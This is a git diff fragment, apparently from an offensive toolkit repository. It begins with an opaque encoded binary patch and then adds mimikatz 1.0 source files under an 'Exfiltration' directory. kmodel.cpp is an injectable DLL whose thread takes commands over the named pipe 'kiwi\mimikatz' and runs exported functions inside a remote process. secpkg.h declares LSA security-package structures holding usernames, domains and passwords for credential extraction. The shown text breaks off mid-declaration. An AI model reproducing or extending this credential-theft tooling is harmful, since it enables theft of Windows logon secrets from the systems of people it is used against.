zYUq{}!=$DXmOL&jTe&#Y%g3?4W*i;j4C!n_Z2~#ax)PYp_1I5-T%{pc$SF1v^hjU$_bt&p=27`a+iW zGK{=Dh-EM#k(C02s&bgtRbf>V2OHYzv8A&C2m5)jxzmdCcRS(opbu_O$FU-_4l}IX zvEZOL7H)OGY=gbf-gIQg-sq47Dat(xT+%;j$bj^(MW#a<(x}aVa(No$^OK;In+!%= zG_-HshO(^_E&)f$>p8561nlzXCs zq2})k(|}trbn%Dc1s6ykc7S?N3ha18h#q)~_`zq08GMe!JI~?RHUf?Kd@S2~5(?kD zKr1R8($=T3c-3ZT#l}NBF$GGbN4cC7Fp9IWvbGZ2cn#P?Iy%uyz8`AGnc)u7P$wMj zb;FlpA#!v8GABH+VAl=IGdl)J6Kfyqb7!`x)+9rnpFurZ4ot`l$^Y8aKWNpZL$8MN zXbHu1b}|e@!k|ZaN97ph&C9;f^o)g7Ruuw!A0ndvDPsDcA#L~tvc_J5IXZzuHSJId zPJ#l(f_y+M#1CA=0yRUZ*A$-LhkAH8HrRp- zV_mQl`2Wc;m=h1N);k_^t*&DJDjO^@+!cKIxQ)D7RoW|M;@56YhY6nrbAC1qDgWqG z@1|BkH7z$5Dw(lhTyuuT6=x_NItK>%U(q#!_^WZN?+IcCo*`jq0$HOkkumZT$uy6| z(dRhVG6>BSs@ajL&<;<>@`D#3ZeyeoZ9olzm-}HyZ*=x}DO@MiF34FRAB8q&UI{XsZV?Rt9 zYwXp>IlRC{nuA_yA#{^yuMiXm%_FwZ@wr8PeF9Xn1fR`zsm@#s5%fO}i7}Vdh*_7HN%5NwGal9b z<}4UDX2Yl<7kZUhkWP;zU&TR9&@0@IfV#aK7*4mK9hn1%=3&zRGsF!{AbsQqu*csZ z|K4jb@4Nt$)*)cv0amlCpp}pV-QWbspCJAD-vWb4d4c?|n#Y1}X#vcLU#GGN>-qKA z)y0GToo+ac692t^co4tq;~_9#KY~*k7jw3I9=0)D2m%;;!UPC$h$}U zG>05oi?q=fh#z?di+m1@Qu1L)aV&NC5)@C_fe~?=dL^n68Obm%r{02Mctc}7_Ow&} z@9Ur#?!sl_cP0OOJ-P#*CnJa=4Y9^Yp=f;-ON^|o1^j}?M&~PTS|2rJ+LDb;?FHD< zR!ljq5G!b(qDT2niSnEhX-F}VYOu2>WY0T6-Zvim%J>NGe}Y8Pe+u!Zjl2ST?DZsn zI>kad#q+s_E@+c}w4$ijcJhVp4XPWVVbD*fek&&nO4PgRmKI_|Lk*5~knRV`_rpDK zzds1ChePnA`1PY&7W4cbN?tw2#w!7s!LT&^iC##^+uLXMR!;VaK^LuKTOKwL|7O7& zw3Wh~R|XC0BNPkMp^{B|vSjKb9NnNuI#vr!fnj_uPStiJn)sP_Ccqkfg~IXIVBh_L zj$cwtzd+Q`GaTf!!YsWACN6={x#kId(vU9ocq(a0R15O4uD%x5{AP;Z7F-@8_PhP? zC%@k!zehg1i?HW+5l{R@q@jJjaUZ5DZ&LrnFBq@h4&7|j#D-aKDOS=Ra(!Dqwsw@j zf>%UV4$W#dWGP>ZCq_WZ-4)9=?S#~Es>Q)nJ7RNip=l5iR0omdpYscjcldi=({0Ve>h5A#b(dmWR~alwM{8PWPhLm& zA1ZQat<#_u69=X5uVR6!5hRW~KrVy{t)N8MH}oQgSd+;zhMyyIWP4t(}FX7 zeAth6;^xCa1XIk$2-wMP3)o5f%pae_v#$BgT%BDqzvTY;^I&gZVT&M7mT`9(whnNx zm*!yA!@=(E25fGrg?U{y)wMz_ONyraolQNOBNm&ir@RzM_nacA&e0x@`cM6UXc&>+ z&3(gQ<`V`(+NVicY^NCZgRzr4^e#EVDmNPksQ*0Q*Me(f-EgIRFVKA`X(x(wFW?U$ z{@51}5dZfVSmPX)_H)*McYOZjDG{686xOzpM(iAFz`jB13kP{P*wcj7)GO*$(>*P! z`wF?Vzqu6%4WA$w21P)ZdJ8@G5a_rCLiy-LtakE*5%t_FDd%dQJdgFXFEnxW#75c| zTGRdV{oE>?>TZVXSP#W)AN;A#hCUPI%5fx-#gcYnh&}1uQ`mR+eHJFBm(|*hsCO3UxnURJg6_gvQim|J)66Z)WH%4i{MY&$!_wc8bbBI5P zEOz2P5{NzZhsTKd;W_R164}3G{H^C1%;YIo*jds0M)=q{(hTc?MjRdBV;jxEf=Bn9 zo2qG#N!q4+K&v&`7PdGdp$Ki;lEsy zlN|Q;a{sw|ybXtjTXAHt4g33Asn@Hfy?!A~NyB=aBCM_#?5QYUQBGM~UjZ|^XSas# z*=?u(cy}8Y``WoU+1rBC{rt&1DX6bLq?ur14|z65-1jHhlgaOC)UUDLO~8rv^XhJq zr+>F+IM>zk}wKuLiiQ2?Rr|+eG>aP3UG>>*1yVHS_l(((=nqf24iPLwwaCESf@>VMj zQy(li_dRLcX?y^V_Xnt-AA~RYJe>R;Og70psde%_u_wNILOObgl-};c$8Qa?sUdJ*hN!YQwZKBGKOdWm}V2oV#HkT^c}Hot{`v$ci)#h>B(z3)kgj-4LO z&OLmsy147|NH^@Bjo>QP9XHa13-LNXyhHnr5xCPiugRQpmuk^H%IEhGMC|^8;|b#a z;R#}2Jw@!@;ddE)9;wFL+%rR(u?35IjEoGzfkC7@^4<^mK0G#9=ku43^P_R{4@aiZ=tyrAj1@G_ jpi%Gv^s6oeAD~a8;Eh*lq&Iv3^@_W#?ft*vdz zn>TMhw70i^XlZHr(A?bop{S_nLv3yChv(0qH&srqgDAG~vB)ZCp)Fjb3hU?y<(kMl>}wp}V^qJv}`je%!x*9}Nu+ zC@wAr@mH3Wl^y!<;lp{36F>d*Q_}a}fB*TXG5xzO`xbBt_{3?_G<7jCQGJ@RnCLJQ zF;UU=e7}QskbgT#v!Gp}S<^1jPSeaHA|evX%ge!W3}O{93-~$jxOeX!s;jF}T3U+2 z!b0Ta)1Xv{kgd#CvkMnCMlp;a}Vw{>4cDFGh`x z8UE#{II-bhCh}Uwa51qwG0~v~v=V-|f>z1jl^PfrR1@2e85tSiGk`D-`VXJM-{)Nz zlW;95DG44P9*B>RM_gRo;CJY6c=_@reh+^3CHRHl2lBKfv^_Kn;&CCikl~{zl!#53 z^LW@~xxWnkTKVT;Gqf;lx)xjQpLI>P{yaz7=qG9Q1wZH-ul%5GxcI%ilG-~XBcr$c z{fpJ6s|HF+N(SdxnCG(cGR}D|3JMAk8ygG9>(_Dm)G4?)JHgl68?`mHgMRhm#f#?m z@87@so%p{XUJ2TA`o(efdxP^GGknbC7SSnk?}yIN!RO-Y7(yF5QxC&t=|fa0-l%YJU0Uh?8GV zm{C4#iv0IOrfFixbj^>LiCbbJL}iy_nDi11lOldu6L`3LATlfjDak3w%g=+Wt1Im7 z?cw6$f{5@4+;Dcob$1^;e*9!`&TrrG!If(_VB>Zh0rAPGY-&bjZ9QTWli}#>f})~g z6qJ=ACMN3C@4^1d?~I)&zG>u4_5RPrHHce_xb-n~mfqhnOD%$^qA7;SE`_MdI*2N) z#4yEG@b~pYN_--MgG1=QaY#!^K}l&Dy!``k`KldUJntYpJ_$t)El8=ZK~Q=cd_zKT zm47>U`Y@JmSOyt+X^4wY#i%JGalzRVC5K0}R#Pj1lY3V8T%c%(nG{w6h1%?ndcx?{xVOBlB7B!=khL_}x=is|cNpA`A{K- zK;#c15St)|i82#0YtbxB^`8Qn%hJ$Vp#=$_xlrDr3f)?(>2Bm;RL`BD-vZw@M5#fm9`pxF`JvL@wN`a9QqcH0HNX*(X6Ov0LF~?vIW-88v zxQsX^drXA9wJh}Y^f5DhIuxwsp=73jjqV#!Qc;a^uH$!a->Ux>eg&hotB1}scq_W{ z2VXzqw(di5g0XgBt}VbO!G!zru_^k-%^CZ zetk#TgX3B`&OXtWS-buyHy z)1X$D1C81&zE6c}6*1E^Yg3_Bmkv#u2Hz`i9GZ=p(5z?7439)cR6IhtCJQ)@($Y$} z2D)L~#?kod+&FyYPG2_>#mEsOF@EJZOu01)69dOX+Dj5D-bzq+QGNV+5uTFEK;7K<$~2+)I8qB_hEnB&Bu6F7F% z93|CtD6XkPWofCxFXw-_l>VxjL0&&eH6&wBc^D+iq99Wd2dVM|=+tCGyE-4TrCE?H zO2gdZ6v&rnK&CVm>XlhgsYvIwc<5GVL%k{!3LJ}0eIAa+IAd zE96?2Ocp<9!OO_z>f#wInSgvFt) zy#p1@XX;wpv0&jMC@CxAt8v7Acq}HLnS^Q1;!xC6g!(FVtUJ99E03?ld{0BDWGdp| znL{{jc^Z}%FCr~72hj=1=OpY%l3L1H-n3oa>)q-?LW+y-*FM;Dqg{{REn620_ znA5y`{R$0rb;N%UE6i3yZn+%h8O*~Rv)P#LN8hx#8UYRBR^;9zksJ%9%p^z?yJSK*ba+iQB@W7IiO|YUgF;pknjP$~+vB=}1FqTFA%^=%V@oUQc(yro(fW#3ZWN?zq8Sropj;VE z>@m=*iiaxaUcHp_%C$N(ISkVD7lVQvD20SVJ17{lkDQ0f4en_!9#FQl!$Q9xD7v~s z$=-?AU7;Qt0`071%#96&VtOJ}@-wg~KNC$)pTZ}=A5%1^V5&0LtNaYim7D_=B_%8{ zFo44~d))E7g}bz1_9N^eiAl-G%*jJ_T?6_a^`p1%A>)5v#!~z19!k~mj5Co?tc+p| zjD=oJ0#r*Qq0DtFUl@ydS<#TqN`NfqUM4wa5WBjaDXXzA$0y)K?5d;8E&zkB@b1->14i#PATM@`#(oVnrm-G+l_r!T$Zaz~~v zo-v)zo%q!_|9Vw%(4zlqRnV79QXrENjd_V-m=_()xetb-yBG9s+=jvtD`-3UK+W<7 z6b_!oyrWjou;=r*?236Cj=<=~EvUNPg`9&cW_Y?mHX#;jSs4iI?&2D5L*4xzbU%BJ zX9I8W?S~I|_1C}R-Oqo6)58wfJZgvI^KM*w&<8!oD9pF?#zHGEEV2%U%oa;bHrxZ1 z)kkHQdN~KmHY7l;Du#Pd9NTF6O&Ihl=+BkhdyA8yUYG{Cv{=Z+M?uQ=I;I#bh3XY& zsGPHdK65vNo59d<3x>RFAanz`@7)c@{M%eZo`F!Xa>A%t(opui3zdvC%;EEpPfvwW zK@qgGvtU$GfYr5?Slv*Gy&ZKpc&`Qr?$_aPUn5RGYKFs0;?Hlwn4_MUyxkh&`<(HW z$uW%6-wnO>hgH}4dqhgr#X-I*in&4r)age$)k4fkfIjyvt>Q#z3o$+=8ngWFK<2h5 zq>o>K!UYFNnqPt31t)0xC1P1(5!Pf?Vo6E~RwNf-L0l%(y(1ud-VqX~EwzCa<@|SiK$4G~K^xhyU%6d5k@>mGpo5kRJVCgQi6vQY(#xLS8gv(!wC0 z908>ue`wyi3xzY*kUn%C3a9KL?HB-4V!zS;6xZ)P$F;VnaAUhRy9$cFyvMCD$XvLN zuNSU^+HF5*N5$eB?^}?I<2+@iLn%E0QmHXe<1=1XQ;aRmRoLEEHHhE5uL)=RTVea8 z18%STaU!<{lXuu+!pajEXSf@xYmZ($7vyU-kMk~B9?E?`ihFJ>EsnWDJd{f~rrdBS zr!)5WdqTy{1q*N9g1)UA?tZ^E&j zX8KSIEFZVQg=@jLuM3iguVd1dtN6n+ziC5-KQ~0MIS0>Eglkf0yUO^t;i_w}{JzpIJ<-&T*k z?X@`AU5`@_TX9~P|8IK`KJX07oPsfa-6c#|WQJ+_TRit2GLtbbjDDv;{F*f}Fse(y zlDb6bGydo@cT>sdo|YU4#kfEyUABSRMH|TPJpm=oznq;9@fYFNy>AiF^$H>P2N2)) z7O}l=5y5eU_Pxf5`fjL4a?kdSf~I#2=I%L#S?ji8j-3r=2YEv}I)dvu83u(pFfJ{` z=DI5EZ>ht+Hm-rL2Am`QbB{Y<{j3Y#1O0HRuE&)17ctIY7p5)Te>>o=*PphfhF5Dg zCPA0j=hw!=i1Tk$n}|iVY0xTVY|3R!O5^j0i+~o--I@+=P&}q51{KNBDTs$ej4$UZ2r5FZaMuT_7T2I;eG8htNwBQxq5r=^ zP}cxrdcQ+T{|BT!evj}6ZxGJsaI@6Y67%# z(qT;eS_PR{QCE&Ft+lXt&<4vs;(y$U>%?#O;y%LPKZkX0CB`o~fq5oJTm<|VEG|wn zObvLU-WWeP|4X?B)-`2f70)fJnZp}b=0Gh!6;g5Z*AQ>WxH@6>h69j1e;x835il=l zg&)^#1o1}j8KgcYevToD&my|-4T5`L!6dC129asd=Q^IZ?;PZgo`;gpUFJ&MBVr?9 zn8)0LYj|Z+cp8e@LFYa z@tVd*A6i(S2-Bu?tZmFO!f-{cwRI59jXPe@jbXl(6c2gkuG%>n zSXohmgU$5&Zq9vAJM5oy`Z2QKy}+uAH!(tKwf^7Hi-zlJ-QkzN3gL+X4q!_Pfh5BHgy&YzlZpOSr+>1TAcLXNkRCPCe zxDSMN43k-qQnxC?iQ{Wk3`@%s%tM(~>_$oTLQ+iv(i`BGucSHHwByx-*Jcv-t46^q-l zu&yl!8(MQ=LO)ts&og-$>ks)!eAdxW2?&Dx*-MzDY=GH^EFpb692y>>u&C%j0I^2U zVtZaAu6Ka(bYO4|Tx)rVg^}r4=o<}P>zmNBx&i5p%mZw$Lyza51-U8MSX%<~u0~wz zzlWP#vjOxO-J$Ng8Be{YT<`^N#SvGU0NHTF-RSJ_{7)}{X}zn6zK?RnVV!Q7;Y z^@Qq7sOEED&Wy$UtaK=cF&8{(38hPpm}!0)Gt4eR^G+1b*K{)Oa6jw*7PmW}!?C#! zXXyWX3Tj{&oCKxaCt*bYS>Wn5XiHd^TTzmOZM9|C)m(}5JuPtLn)TwmhZ1)nEr7W1 z5Wg4aKk~&BC~i7)<`dpux7HRH|9mtdJY;@HE>?FIU~6Y7R<{>o32P!Ib%ii0&t*Q! zwZOQi5Ep}))>k2M@GKNc@fOp>v8N}9W44<;P9*)o?Np50(RP60Xuy^{KwaDEUWo2UTcfw zuW|qKv!|1bsELPTf?-=O)^`W_d7F#>Q zfI0U9#$5FyC$WO(LL)mztm3(F8|&q}DhqM6tp;`v+qq`%!HxUuomWDv>_-?akiHW@ z>|sB=ghg8?zFvM*`?oOv`g(49#?Y%}dC?p0S7BFgEw*=6Vq<$bHnvn^T|)))iyX*j zCqX%zu_-YU3&~L#-S&st;WN;%u!o|RJ#^1r#=<+^Jde4+$iW$_W23P@pRu7Z3tOrR zaDqN_wU6g5#(H7iya-** zVU1#CN)op4J3A|jae_J8F`l_Bds|@LPyEc$yy!Fjobw?1OAzNh`?mDAU~6w9wszNHQ%4OpF<;-* zQqBA?4{M2UOLHxja6Be8MKG-|$0p+5&%FLnXCwA^)#FTWE3QB7h7IGSu)q3ozC(!H zi|aL*Z7AnGjM&58zl2|Z-%~>uf0KU)=Rf=I)hpKGX2Je3J9tjr@}!O9Xu`n<%{aoi zz3yHO%=ounA+G>*W3+DVYJpakx+#PRxcE;9r&GCY)w!@5hhv>UUpLF6_e+P~+j#%_} z;{2m~IP-}4FY($wy$`47J@k`axW4FPK1QRz2xk&+#`Qa|80YCPe(#>cXW%(P`yYOv zR$u4PP+#}Oe}eD#{wBmfaJYX;^1jPOS*;g(+i?C>FD`N4xkjI`C0?6n4|wkAg*~s` z7>p^8xEDQUJbw%iVs{hX4-ofv-y-ncO9VdZ`60HhHoUQ=<-c(gzZcVg@;zr4x1lGU zoR?X}#l+e-SHHI99^^*9xc&ACoQc!*^+R|K<^Y^;<^VyQ=fJnm7%Q36JYmdfYwij! zEOaO+DHdci|4&~wo_8i#d3i6gONhVjS)7~ZSW?vQ+EDe%x2xrqPgm0`|CYLMeX2{E z0}J!wqw{jD@`{V~^K*0mBRvc`NaRl>fr+uKL=QQCplJ-j-lb{)zAY4yLNl~WWr>nEG^L=Y;>i{(~-%&&Jm>M57@*U&p z9w&bM@kfsAU%z-ip-)O;#3oatGlx18d736|AwQea1U=Gz{(UcPQ*dywlb|K4BPS$i zjs)#aM@Pq?W+yK%?>+S}Z-md(iNya_@4U}vG(oE+Xo?oFk3H13SPvgDCRA+nC!{?13`a7&Do&-DJv@rckkYTC-p+< zX=&iR2s)vs|D^v>9Fs2ZXU2j13?DtQMs$koz|g5G7(!jmP--NG%{9hNkK6F`^MkKn z0Ircoxpl|uXG7yN>|b+pvJpfLgyRh-SYNfnP0!m%&m~tuo|@XR{)Z1A{^s60 zZ0L|be=&Tx^q1qOhEo&sZm6J#nMIAmTqEjWmSUI;^(556+_`fX@v(78U_KTa8p{6f z!kx9;^!#E}wzT1HNEmGGU0~zl1dB_TuxgDdtQ@Z*yRh(CeooGB?m-grnxn^v%SC_w zwL1PZof?Z-Mi?S%ilOqR7$UzKL)Ermn35^`3`YX{_xJb5UDnWU_}qcDgA;b|Jp}zl zhLBa4!}LYs5Z9fGNqQ48MR77#9$AB&lA;$?W#wc4(fn&IT&Flza$$?8>KcqT*@LNP zu4AsdKjcFqpcu}Y_U%y2xOf}mS*wYONkDR9A~iHgxZ>e}u~SE5xXv()kpBW-%^gqP z_iIeKI0?$flpudq7Lq3;5IRS8o1Nd;ME+I~U03r$eiu0GiZd zsI`)dZcc+b&+l68IncXTjD;=bh$G*c#B*MDb{<@UZeps*WK6s}9-|FMVT||~j9D=n z(=4Y#)ma5fE{c%%l*I;{^~fXN-qzlJ;g|hO9+GyR&5$osX@?f&Vn~t5tb|}l)yG4Qbw*|Or(at@UOp3&C23Hq zpzeVjyi!Ffx#JA#A;{aac42h)1gs-Gaj&)og{5U!wr)9Q%Fo33Lt`=JKdoeO!foD->lz zwlEX($WhDYQ%6E>U4@*wbRqR5Wf?ek!2)4^fq3@(1sceoFWzc`X>#MoUlBB4Ib;U*K#k+EX)u~%}HH-!%K_vmcw>mBh07NNogC_$TV7e+^}ZrYK3-bjDTT3hm$eUb&)V^cTcD)6aq}W0J^qcr_ST@z8u$VfMv`m!N zHlXFvV^qI*fsm&U5JJB2YElL4qH^IDn~UYgouII2o2fzM-7KMh751-5j#G!+f+o3T zS=N%Id2W^_U#xn`0qW#3b*|ll^s&o>^%yyFPuf@AAkTC3Y#Uq1^Bk(g+LK;k0ajI% zVFPRJn_8=I@P0jx^fkcp)dQ#pWnuKztN41CJ;oUyrcUADG29T*JE-e`yig_0=L)z>di(#^nY@a5{E4ydCCIPVL^~fPJj$+ zwi>xvSj2Pi>c$FeYbS;W^|;9Mkj2x798WaHZ+F1BWyc|Jvd?~PLO|A>YVt(nx&(ep zgZzpjwE^;}VNeM4feve_@*K0oiECIMlaHI7FW|yaZd zAV;E65e>B>au@7h>-H_^Tw<-_q#ac4{cw?W)F9S^g?fDKqjxx5+yn{M#pKBaPB+;O znSJK;(~v>#Ns*d{)z#(L%k!!k>qkc(G?K4r=Q-#xc88{5^op~XYOpQsu#^3E4c66l z$#pMe|AzEItrFJY(pmTP^@7?ZJ1BAd8txIeTHlLc_8-UEc|2>;5v=1Luj_^y>*p%2 z0g&2mMh?LR(lO!G#w25YaUM3;vpz%4;uv{53-U$RU-jTt*FDVKY>7!m`!ak20;d?4 zM8DNy+%w|*FCaf;NNtQ7xjEUmVERlTxh--k_P#h;)XMR{A(!$FspKJIi6M*_Hs)2a zew+x^bJw8k<_Y;2awpVq402cHg{%qH;2i750$*ZBzA)&+bF6oZz?21t2IHTJyPdas z6L~4}Ypbb|TUnO{!?H|r%j6+LsbM^0g}LODH>Oq~h`f!!M5$tDr(`fxfdibCUZZRJ!J#Kh)mcvK13wvU*G~#i6N1En0MC; zn5I*=NWFxPjT3YkpMN<#m(th$9>I&dNtiL#$IZVq&#n8_WE6zd*&MSBeGaG?nfkjFp>O&U{QPqCo9{? zVFyF^;&munSd-%oq81Z=oLY-7^GrcVgOtz5hr4waVGnenERS zYZdue-%75YIyzPAiv&H6oSg$C$cxN8Yfrv50xoTjIS&II`*S!n_hM&W4eRahFra=x z@A7pl3=D!PYfO7us$k37qYwKIX8p^T=KtXZoXe{R#%XSz@M-*?+JmvdJ`1_`Z|*9= zs+IyQuPY?am(F;={fGIhB=sB;=j_Q(rr|(AEtW-R!Z;`nhCbxVw;h2V^9N&c$s1Br zU^eJ?O{@ozuVDW|-BYObNBr##Hn|2ye(Lj=t?ebNKWz{53EbF6zW#nC_H|a1uPcKl z^*Qq7^d+eiQoDKsn%3k>?cAYp&ISuCufgErRp_0)2xDq~R&eY)%kp8tHFur06QK?j zzSp&RIe;1y)7wa3sa~En~Q9r)Hs({4wUyk{= z-rJ@mT-|!V8oM7gVK-~B%XnW^))5WMav58)>EBsc%=~02xzTkMjJ4z`%vk%hWDU-N zeY?`%g?@uspNL>hB9{Eh>FWCDx;A%(DrwjRiC$50rEf*QmU|;Qaqe5uQ4_vpsiB+q%H_R| z^B!|(tjzrH*Vr*%FB&pYu3t=k1-{VOjG>C_F;s#7TcNxjVhXDuHqQ`ZQ)GVla@1I- zVM9NkK6L1iKYaSN@}|RE#mz7NIM>^knpQ!FmI2wYNX)kO#JFu%5L;x9FBcrZ7n++f zUU_-Fgo4JnPrseC)9k!NHnk$ux~nwiQ`NK?i1?_r{E6M+%q4dZlYLCNMvYg?b#dYUgdS_)aYRnFrW3^gzb$ zHgnXAkYVnjL;h+{TOBTb+ljMPwV1l>Xw#nH+m<@aag3^&C#6u^dX+p~a5|!?he&(! z1CCa#PLZyodN&F8P#&RA5N^!-X|_O(k=A#uwC>JHx2 zSG+{llOGYpy?9X|=jFN!Gx8*sn^CwJ`UULbH@fo~tfmo;?h&1dF+`n}LP=VhGO)m8JC740?D z)nq_7JRFA9_6l5@8S`~}?wNufCH(uBI9X7hD!1?QfBEmH``G(RLN6x39!|ML4ka0T}8f?)ZqpIWi~t(O)5kWcHO4e+}^3=t9eUr?btQ2+n{ literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp new file mode 100644 index 0000000..a87ea8f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp @@ -0,0 +1,139 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kmodel.h" + +HMODULE g_hModule = NULL; + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +{ + if (ul_reason_for_call == DLL_PROCESS_ATTACH) + { + g_hModule = hModule; + + HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL); + if(hThread && hThread != INVALID_HANDLE_VALUE) + { + return CloseHandle(hThread); + } + } + return TRUE; +} + +DWORD WINAPI ThreadProc(LPVOID lpParameter) +{ + mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); + + bool succes = false; + for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++) + { + succes = monCommunicator->createClient(); + if(!succes) + { + Sleep(3000); + } + } + + if(succes) + { + ptrFunctionString maFonctionString = reinterpret_cast(GetProcAddress(g_hModule, "getDescription")); + + wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi"; + if(maFonctionString) + { + wstring * maDescription = new wstring(); + if(maFonctionString(maDescription)) + { + monBuffer.append(L"\n\n"); + monBuffer.append(*maDescription); + } + delete maDescription; + } + + + + if(monCommunicator->writeToPipe(monBuffer)) + { + for(;;) + { + if(monCommunicator->readFromPipe(monBuffer)) + { + wstring fonction = monBuffer; + vector arguments; + + size_t monIndex = fonction.find(L' '); + + if(monIndex != wstring::npos) + { + arguments = mod_parseur::parse(fonction.substr(monIndex + 1)); + fonction = fonction.substr(0, monIndex); + } + + string procDll(fonction.begin(), fonction.end()); + + ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, procDll.c_str())); + + if(maFonction) + { + if(maFonction(monCommunicator, &arguments)) + { + monBuffer = L"@"; + } + else // La fonction à retourné FALSE, il y a donc anomalie bloquante sur le canal + { + break; + } + } + else + { + monBuffer = L"@Méthode \'"; + monBuffer.append(fonction); + monBuffer.append(L"\' introuvable !\n"); + } + + if(!monCommunicator->writeToPipe(monBuffer)) + { + break; + } + } + else + { + break; + } + } + } + } + + delete monCommunicator; + + FreeLibraryAndExitThread(g_hModule, 0); + return 0; +} + +bool sendTo(mod_pipe * monPipe, wstring message) +{ + wstring reponse = L"#"; + reponse.append(message); + + return monPipe->writeToPipe(reponse); +} + + +__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments) +{ + bool sendOk = sendTo(monPipe, L"pong"); + + for(vector::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++) + { + wstring maReponse = L" - argument:"; + maReponse.append(*monArgument); + sendOk = sendTo(monPipe, maReponse); + } + + if(sendOk) + sendOk = sendTo(monPipe, L"\n"); + + return sendOk; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.h b/Exfiltration/mimikatz-1.0/commun/kmodel.h new file mode 100644 index 0000000..65bd912 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/kmodel.h @@ -0,0 +1,21 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_pipe.h" +#include "mod_parseur.h" + +#define __kextdll extern "C" __declspec(dllexport) + +typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector * mesArguments); +typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription); + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); +DWORD WINAPI ThreadProc(LPVOID lpParameter); + +bool sendTo(mod_pipe * monPipe, wstring message); + +__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/commun/secpkg.h b/Exfiltration/mimikatz-1.0/commun/secpkg.h new file mode 100644 index 0000000..385307d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/secpkg.h @@ -0,0 +1,239 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL +{ + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + LSA_UNICODE_STRING Password; +} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL; + +typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) (); + +typedef PVOID *PLSA_CLIENT_REQUEST; +typedef LPTHREAD_START_ROUTINE SEC_THREAD_START; +typedef LPSECURITY_ATTRIBUTES SEC_ATTRS; + +typedef struct _SECPKG_CLIENT_INFO { + LUID LogonId; // Effective Logon Id + ULONG ProcessID; // Process Id of caller + ULONG ThreadID; // Thread Id of caller + BOOLEAN HasTcbPrivilege; // Client has TCB + BOOLEAN Impersonating; // Client is impersonating + BOOLEAN Restricted; // Client is restricted + // NT 5.1 + UCHAR ClientFlags; // Extra flags about the client + SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client + // NT 6 + HANDLE ClientToken; +} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO; + +typedef enum _LSA_TOKEN_INFORMATION_TYPE { + LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type + LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type + LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type +} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE; + +typedef enum _SECPKG_NAME_TYPE { + SecNameSamCompatible, + SecNameAlternateId, + SecNameFlat, + SecNameDN, + SecNameSPN +} SECPKG_NAME_TYPE; + +typedef struct _SECPKG_CALL_INFO { + ULONG ProcessId; + ULONG ThreadId; + ULONG Attributes; + ULONG CallCount; + PVOID MechOid; // mechanism objection identifer +} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO; + +typedef enum _SECPKG_SESSIONINFO_TYPE { + SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED +} SECPKG_SESSIONINFO_TYPE; + +typedef struct _SECPKG_PRIMARY_CRED { + LUID LogonId; + UNICODE_STRING DownlevelName; // Sam Account Name + UNICODE_STRING DomainName; // Netbios domain name where account is located + UNICODE_STRING Password; + UNICODE_STRING OldPassword; + PSID UserSid; + ULONG Flags; + UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known) + UNICODE_STRING Upn; // UPN of account (if known) + UNICODE_STRING LogonServer; + UNICODE_STRING Spare1; + UNICODE_STRING Spare2; + UNICODE_STRING Spare3; + UNICODE_STRING Spare4; +} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED; + +typedef struct _SECPKG_SUPPLEMENTAL_CRED { + UNICODE_STRING PackageName; + ULONG CredentialSize; +#ifdef MIDL_PASS + [size_is(CredentialSize)] +#endif // MIDL_PASS + PUCHAR Credentials; +} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED; + +typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY { + ULONG CredentialCount; +#ifdef MIDL_PASS + [size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*]; +#else // MIDL_PASS + SECPKG_SUPPLEMENTAL_CRED Credentials[1]; +#endif // MIDL_PASS +} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY; + +typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer 